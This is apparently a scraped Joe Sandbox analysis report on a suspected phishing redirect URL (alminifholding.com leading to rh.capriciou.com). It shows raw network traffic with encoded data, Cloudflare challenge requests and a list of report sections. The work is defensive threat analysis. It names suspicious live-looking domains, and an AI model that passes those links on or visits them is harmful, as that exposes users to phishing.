8def676079246b83-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:04 UTC	622	IN	Data Raw: 6a 47 57 42 52 6d 6c 4f 53 6b 32 50 6a 33 47 42 61 4a 42 31 57 70 71 57 64 31 53 62 69 56 39 77 64 6f 4f 66 67 34 2b 58 68 58 64 64 71 33 2b 4e 6e 49 6c 37 66 32 32 53 68 70 53 66 63 70 4b 73 6a 61 70 31 72 58 2b 67 76 73 43 4f 6d 37 65 6a 70 71 61 48 76 62 69 34 76 72 2b 49 67 70 7a 48 69 37 4b 4f 6a 4c 54 41 6c 4d 57 70 33 4a 69 2f 73 73 2f 54 31 4c 4b 2b 31 61 62 45 76 4d 58 59 37 4f 50 6c 7a 66 44 6e 36 65 58 70 33 72 4c 69 38 4f 44 73 7a 2f 4c 58 33 4e 50 53 79 77 41 45 33 39 2f 57 78 66 7a 78 32 66 30 4a 31 77 54 41 35 73 63 49 78 4f 76 76 42 77 62 78 34 52 41 45 39 52 77 66 45 41 6f 4b 49 4f 44 31 34 53 4d 52 4a 41 6e 66 34 42 6a 73 47 52 30 4e 36 43 45 6d 46 43 67 69 44 68 62 77 4d 66 45 49 50 51 6f 54 4d 44 51 2f 4c 44 30 63 4a 78 49 43 51 42 34 Data Ascii: jGWBRmlOSk2Pj3GBaJB1WpqWd1SbiV9wdoOfg4+XhXddq3+NnIl7f22ShpSfcpKsjap1rX+gvsCOm7ejpqaHvbi4vr+IgpzHi7KOjLTAlMWp3Ji/ss/T1LK+1abEvMXY7OPlzfDn6eXp3rLi8ODsz/LX3NPSywAE39/Wxfzx2f0J1wTA5scIxOvvBwbx4RAE9RwfEAoKIOD14SMRJAnf4BjsGR0N6CEmFCgiDhbwMfEIPQoTMDQ/LD0cJxICQB4
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 4a 58 4c 57 4a 62 58 78 64 42 48 56 42 49 4e 6d 42 73 56 30 64 4e 50 6d 4e 53 59 69 35 57 62 55 6c 4e 61 6b 68 71 50 44 5a 66 62 6c 4a 58 51 44 78 59 65 6d 65 46 61 45 6c 4a 68 6b 56 4e 56 6f 56 75 69 6f 47 46 55 46 4a 32 63 5a 42 51 64 6c 53 61 66 59 68 65 6a 6d 36 66 62 5a 47 61 6d 4b 52 31 57 34 75 65 6e 70 31 2f 6f 34 61 72 6b 32 31 75 63 61 4b 4d 73 35 65 70 65 59 79 4f 76 35 4b 35 71 6f 2b 41 78 58 75 64 76 4a 32 41 79 38 69 37 77 5a 36 37 70 63 4b 6c 7a 71 2f 52 76 38 2f 56 30 74 65 55 6c 74 7a 47 71 38 76 66 6d 62 69 39 75 74 6a 42 33 71 61 31 79 75 69 74 75 50 43 74 75 75 65 7a 73 37 58 44 39 75 54 78 36 74 66 63 2b 38 72 67 32 74 54 35 41 50 62 32 7a 74 4c 42 42 50 6e 35 2b 67 72 61 41 2b 4c 75 44 77 55 50 39 75 33 6d 46 52 59 4e 44 2b 7a 78 38 Data Ascii: JXLWJbXxdBHVBINmBsV0dNPmNSYi5WbUlNakhqPDZfblJXQDxYemeFaElJhkVNVoVuioGFUFJ2cZBQdlSafYhejm6fbZGamKR1W4uenp1/o4ark21ucaKMs5epeYyOv5K5qo+AxXudvJ2Ay8i7wZ67pcKlzq/Rv8/V0teUltzGq8vfmbi9utjB3qa1yuituPCtuuezs7XD9uTx6tfc+8rg2tT5APb2ztLBBPn5+graA+LuDwUP9u3mFRYND+zx8
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 63 57 7a 5a 4b 58 45 5a 57 51 6d 59 38 51 30 74 4b 58 31 46 54 53 45 67 71 52 45 4e 55 4f 30 68 57 59 45 6f 35 56 30 31 36 56 46 2b 41 66 47 68 6e 69 57 68 36 68 6f 6c 62 6a 32 4e 37 62 6c 39 49 56 57 32 59 61 4a 74 74 66 6d 69 4b 61 47 71 51 63 70 64 31 62 36 46 68 57 36 4a 6c 65 70 36 46 5a 5a 32 41 70 4b 57 6f 63 6f 65 4d 72 62 4f 31 6d 62 47 6f 68 36 71 4d 67 62 32 52 75 35 69 66 71 4d 57 31 70 38 57 59 70 71 2b 6f 7a 36 57 39 76 36 33 53 74 4d 57 6a 78 38 62 4d 6e 4b 57 32 71 64 4f 58 76 5a 37 65 75 74 4f 77 34 37 58 65 77 4f 33 61 71 63 4f 6d 7a 4d 33 77 39 62 50 6d 73 4e 43 34 73 4d 75 79 36 62 6a 67 76 4e 2b 37 39 64 6a 33 38 67 66 48 39 4d 62 6e 44 41 63 50 7a 38 30 49 38 52 48 51 38 2b 7a 4e 43 39 6a 61 46 66 72 5a 39 52 6b 4f 32 64 54 2b 45 65 Data Ascii: cWzZKXEZWQmY8Q0tKX1FTSEgqRENUO0hWYEo5V016VF+AfGhniWh6holbj2N7bl9IVW2YaJttfmiKaGqQcpd1b6FhW6Jlep6FZZ2ApKWocoeMrbO1mbGoh6qMgb2Ru5ifqMW1p8WYpq+oz6W9v63StMWjx8bMnKW2qdOXvZ7eutOw47XewO3aqcOmzM3w9bPmsNC4sMuy6bjgvN+79dj38gfH9MbnDAcPz80I8RHQ8+zNC9jaFfrZ9RkO2dT+Ee
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 4a 57 4a 71 61 69 31 41 4d 33 42 4c 63 47 5a 72 64 31 4a 4f 5a 6e 42 47 4f 58 35 64 67 33 78 53 66 59 59 2f 5a 56 65 48 5a 57 75 4a 53 48 42 70 5a 6d 6c 64 5a 33 31 6f 6a 6c 68 34 65 35 6d 5a 65 57 5a 32 56 6e 68 38 58 70 6d 59 59 4a 68 68 6c 32 64 31 68 61 43 4e 62 71 68 6e 6e 35 32 6c 71 6f 39 74 68 59 6d 44 63 34 75 56 72 6e 36 37 6c 5a 33 41 66 4a 2f 41 6b 70 50 49 74 62 75 5a 75 63 4f 36 6d 36 6d 6b 30 4d 6d 71 76 35 4b 35 73 61 66 4f 78 4e 58 57 74 62 4f 64 76 72 36 75 75 70 32 2b 6f 4b 65 63 77 4c 53 73 32 38 69 2f 37 65 54 4a 33 73 58 32 36 66 50 52 79 4f 6e 56 32 50 66 33 76 2f 33 73 32 2b 58 51 34 65 2f 33 39 76 54 54 39 74 30 4a 7a 75 50 62 32 38 34 57 7a 76 63 59 31 51 6a 6e 44 52 54 61 45 41 6e 77 49 2b 72 39 2f 52 63 65 48 69 44 79 43 66 63 Data Ascii: JWJqai1AM3BLcGZrd1JOZnBGOX5dg3xSfYY/ZVeHZWuJSHBpZmldZ31ojlh4e5mZeWZ2Vnh8XpmYYJhhl2d1haCNbqhnn52lqo9thYmDc4uVrn67lZ3AfJ/AkpPItbuZucO6m6mk0Mmqv5K5safOxNXWtbOdvr6uup2+oKecwLSs28i/7eTJ3sX26fPRyOnV2Pf3v/3s2+XQ4e/39vTT9t0JzuPb284WzvcY1QjnDRTaEAnwI+r9/RceHiDyCfc
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 32 68 55 56 47 6c 4e 61 32 5a 36 4d 32 56 4c 63 31 36 43 4f 55 4e 53 56 46 46 35 64 34 64 56 58 6b 4e 5a 58 46 39 61 57 56 39 6e 53 6d 78 78 59 70 42 75 6c 58 5a 77 5a 6d 39 39 64 70 57 53 6f 5a 71 42 65 6f 5a 79 59 35 2b 49 59 36 4a 34 6a 33 74 6a 63 4b 4f 67 6e 62 4f 4c 68 6f 71 55 75 61 36 56 71 4c 6c 36 6c 5a 65 6a 77 36 4b 66 6b 63 48 49 77 4d 53 33 6a 62 2f 51 70 38 72 53 7a 34 79 50 72 6f 6d 74 69 35 4f 6c 33 4d 2b 62 32 64 33 68 76 74 36 79 75 35 33 50 76 35 2b 7a 70 75 4f 35 37 74 66 74 79 71 2f 62 72 75 6a 76 36 2b 57 35 2b 4c 75 35 38 2b 62 2b 30 62 33 32 35 50 50 38 2f 41 50 66 34 2f 63 4e 36 39 33 34 31 38 6a 73 33 38 73 47 45 78 6a 58 34 2f 41 5a 47 52 6e 5a 31 67 76 62 43 78 59 57 2b 51 55 62 46 43 51 6c 39 76 72 73 49 4f 59 59 49 79 4d 4b Data Ascii: 2hUVGlNa2Z6M2VLc16COUNSVFF5d4dVXkNZXF9aWV9nSmxxYpBulXZwZm99dpWSoZqBeoZyY5+IY6J4j3tjcKOgnbOLhoqUua6VqLl6lZejw6KfkcHIwMS3jb/Qp8rSz4yPromti5Ol3M+b2d3hvt6yu53Pv5+zpuO57tftyq/brujv6+W5+Lu58+b+0b325PP8/APf4/cN693418js38sGExjX4/AZGRnZ1gvbCxYW+QUbFCQl9vrsIOYYIyMK
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 64 51 64 44 73 35 62 56 68 4e 62 34 46 64 67 56 6f 39 59 47 6c 6f 65 6e 5a 58 68 30 6c 59 61 6f 35 78 69 57 70 2b 61 31 61 4e 6b 6e 56 36 6e 56 31 37 63 58 4f 67 64 59 39 63 5a 58 2b 45 6e 6d 4b 57 6e 35 31 37 62 59 47 45 63 4c 4e 75 71 6f 78 78 74 6f 79 31 73 4a 65 2b 65 4c 36 37 6e 6e 75 68 6c 4b 54 41 74 63 58 47 73 37 61 70 6f 4c 6d 4b 70 35 71 2b 30 49 61 53 6f 4b 6d 59 72 4e 75 35 75 35 72 65 71 4c 6d 35 6f 72 48 4f 6e 4e 2f 6c 32 65 6e 55 35 38 47 6f 70 64 6a 42 36 39 50 6e 38 2f 4f 2f 31 76 50 4a 31 66 72 4a 7a 63 6d 36 39 75 48 77 76 2b 37 77 38 66 45 43 79 4f 45 43 31 2f 72 37 7a 2f 44 48 41 41 55 50 7a 51 38 55 42 75 4d 61 30 76 76 6c 32 75 37 57 41 2f 6a 2b 47 4f 41 69 49 52 2f 6d 41 42 55 58 35 68 38 67 41 2f 73 4c 35 51 49 72 44 43 4d 50 4d Data Ascii: dQdDs5bVhNb4FdgVo9YGloenZXh0lYao5xiWp+a1aNknV6nV17cXOgdY9cZX+EnmKWn517bYGEcLNuqoxxtoy1sJe+eL67nnuhlKTAtcXGs7apoLmKp5q+0IaSoKmYrNu5u5reqLm5orHOnN/l2enU58GopdjB69Pn8/O/1vPJ1frJzcm69uHwv+7w8fECyOEC1/r7z/DHAAUPzQ8UBuMa0vvl2u7WA/j+GOAiIR/mABUX5h8gA/sL5QIrDCMPM
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 4d 4f 47 75 45 68 6f 52 37 67 31 31 31 61 46 78 6b 61 55 5a 4b 62 56 35 39 55 32 78 79 6c 56 47 4c 64 70 52 37 56 6c 56 72 6b 35 56 2b 63 57 53 6b 65 61 52 79 59 5a 4f 67 61 4b 57 4f 6d 33 75 6c 6a 32 32 6a 6f 4c 47 6c 68 34 4a 77 71 5a 53 37 71 59 39 32 71 58 53 53 6b 61 4b 33 75 70 50 44 74 36 53 6d 68 62 71 64 6a 62 48 4f 72 71 33 48 6e 73 72 56 6c 70 43 6d 31 70 32 77 74 39 4f 32 7a 4e 37 44 77 65 66 6e 32 65 66 62 34 4d 58 47 75 4c 76 74 37 36 79 39 78 64 2f 30 31 37 54 53 32 2b 50 6f 37 2f 44 70 75 73 6e 4b 37 65 48 66 42 4e 37 6d 78 2f 4c 6b 78 67 41 4c 41 73 49 45 37 41 50 77 43 66 62 32 43 64 55 46 42 4f 62 6d 44 75 67 58 33 42 34 61 47 52 6e 69 4b 51 55 43 48 4f 6e 2b 41 7a 41 67 48 77 59 30 42 77 73 50 44 53 73 73 43 53 77 73 4b 77 77 62 47 78 Data Ascii: MOGuEhoR7g111aFxkaUZKbV59U2xylVGLdpR7VlVrk5V+cWSkeaRyYZOgaKWOm3ulj22joLGlh4JwqZS7qY92qXSSkaK3upPDt6SmhbqdjbHOrq3HnsrVlpCm1p2wt9O2zN7Dwefn2efb4MXGuLvt76y9xd/017TS2+Po7/DpusnK7eHfBN7mx/LkxgALAsIE7APwCfb2CdUFBObmDugX3B4aGRniKQUCHOn+AzAgHwY0BwsPDSssCSwsKwwbGx
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 64 56 74 55 61 49 56 57 66 59 46 77 52 35 46 6c 5a 31 53 4b 62 49 31 34 6a 32 53 55 68 58 78 33 6d 58 70 35 65 6f 52 39 57 46 39 6a 69 58 70 6a 68 59 53 6f 65 71 32 41 62 6f 61 68 64 61 75 4d 71 6d 75 44 70 37 4f 7a 68 36 75 4d 75 5a 36 30 6e 5a 6d 2f 6e 62 36 39 69 4a 58 45 78 5a 2b 49 30 4d 53 49 6f 73 75 79 73 63 44 48 31 36 58 50 79 36 79 34 74 38 6d 78 30 37 2f 46 77 39 47 77 34 73 6a 6a 34 4b 65 37 35 61 69 75 7a 2b 71 38 7a 39 36 31 78 2f 58 53 30 63 33 76 39 2f 4c 6f 31 77 4d 45 77 4d 4c 57 32 74 4c 51 2f 64 7a 6d 43 2b 6e 48 33 67 34 44 35 51 62 39 43 2b 76 4e 39 41 6a 58 30 74 66 76 46 74 45 66 46 4e 6e 64 41 76 48 32 34 53 6b 62 49 65 63 68 47 42 37 71 2f 65 37 71 37 65 59 54 43 67 55 70 43 42 73 30 2f 42 2f 30 4e 7a 6b 6a 47 52 74 47 44 78 54 Data Ascii: dVtUaIVWfYFwR5FlZ1SKbI14j2SUhXx3mXp5eoR9WF9jiXpjhYSoeq2AboahdauMqmuDp7Ozh6uMuZ60nZm/nb69iJXExZ+I0MSIosuyscDH16XPy6y4t8mx07/Fw9Gw4sjj4Ke75aiuz+q8z961x/XS0c3v9/Lo1wMEwMLW2tLQ/dzmC+nH3g4D5Qb9C+vN9AjX0tfvFtEfFNndAvH24SkbIechGB7q/e7q7eYTCgUpCBs0/B/0NzkjGRtGDxT
2024-11-07 18:32:04 UTC	1369	IN	Data Raw: 47 5a 6e 6a 6c 39 50 67 6b 78 49 65 47 79 5a 6b 6e 69 46 57 35 74 71 57 48 4f 4e 66 6e 61 47 6c 33 75 58 6f 6f 61 57 65 5a 2b 45 6e 59 69 70 6b 36 32 6e 66 58 43 4f 6b 36 47 75 75 33 61 2b 6e 4c 43 35 69 61 4f 43 75 35 66 47 75 71 58 42 6d 59 54 43 71 61 53 4a 71 61 50 44 70 6f 62 52 6c 63 6e 45 6d 4d 4c 4f 73 5a 72 53 31 71 43 31 77 4d 44 41 73 4d 54 59 74 73 4f 2f 79 63 44 68 71 74 66 72 72 63 2f 49 79 37 50 53 35 4f 7a 68 30 64 6a 32 2b 62 7a 79 38 39 6a 41 75 75 4d 43 41 4c 6e 41 2f 64 37 46 34 77 37 4c 33 65 6e 61 44 41 55 42 34 77 49 54 43 4d 76 34 36 41 6e 2b 32 66 33 35 2f 51 7a 34 38 53 58 6c 34 66 73 49 4b 4f 6e 6e 37 52 63 6b 47 68 38 42 35 66 49 4b 4e 68 49 55 41 7a 6f 51 4d 41 34 73 2f 44 63 64 2f 76 77 6b 4a 43 45 48 42 68 49 67 4f 30 51 32 Data Ascii: GZnjl9PgkxIeGyZkniFW5tqWHONfnaGl3uXooaWeZ+EnYipk62nfXCOk6Guu3a+nLC5iaOCu5fGuqXBmYTCqaSJqaPDpobRlcnEmMLOsZrS1qC1wMDAsMTYtsO/ycDhqtfrrc/Iy7PS5Ozh0dj2+bzy89jAuuMCALnA/d7F4w7L3enaDAUB4wITCMv46An+2f35/Qz48SXl4fsIKOnn7RckGh8B5fIKNhIUAzoQMA4s/Dcd/vwkJCEHBhIgO0Q2

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:04 UTC	535	OUT	OPTIONS /report/v4?s=BJiRqdLrn7qK93fyJmIhl0z8Jb%2FZLQ6hHoMwbl7YStgxBkXDV678GIJ3QRnxQtm%2FAhg7JsIVv8Sn4VoRipC3AV0Ad3Wr1i1GJkLSf7Ucwlo%2FdDjKtFNTSCxkQUlHTA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://rh.capriciou.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:04 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 07 Nov 2024 18:32:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:04 UTC	476	OUT	POST /report/v4?s=BJiRqdLrn7qK93fyJmIhl0z8Jb%2FZLQ6hHoMwbl7YStgxBkXDV678GIJ3QRnxQtm%2FAhg7JsIVv8Sn4VoRipC3AV0Ad3Wr1i1GJkLSf7Ucwlo%2FdDjKtFNTSCxkQUlHTA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:04 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 30 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 72 68 2e 63 61 70 72 69 63 69 6f 75 2e 63 6f 6d 2f 5a 68 5a 57 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 Data Ascii: [{"age":0,"body":{"elapsed_time":505,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://rh.capriciou.com/ZhZW/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","u
2024-11-07 18:32:05 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 07 Nov 2024 18:32:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Windows Analysis Report
https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:05 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:05 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 18:32:05 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: eLsmOHd1uuzQbzR79r7IiGuMghjv+rcS5wY=$csqzrLWrTGpGrV4T cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8def67680fd06c4a-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:05 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:05 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8def6751cf07e7a6/1731004323942/0ce64218ebbd666850be87b0d35e84846275f1be6aca62966dbea5873bf6e595/yb75jCmKwd61suQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:05 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 07 Nov 2024 18:32:05 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-11-07 18:32:05 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 44 4f 5a 43 47 4f 75 39 5a 6d 68 51 76 6f 65 77 30 31 36 45 68 47 4a 31 38 62 35 71 79 6d 4b 57 62 62 36 6c 68 7a 76 32 35 5a 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gDOZCGOu9ZmhQvoew016EhGJ18b5qymKWbb6lhzv25ZUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-11-07 18:32:05 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:06 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8def6751cf07e7a6/1731004323946/7Lbt5mZb6pYQGHR HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:07 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:07 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8def6773dfd10c0b-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 60 08 02 00 00 00 67 a6 4e 3d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR`gN=IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:07 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31354 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
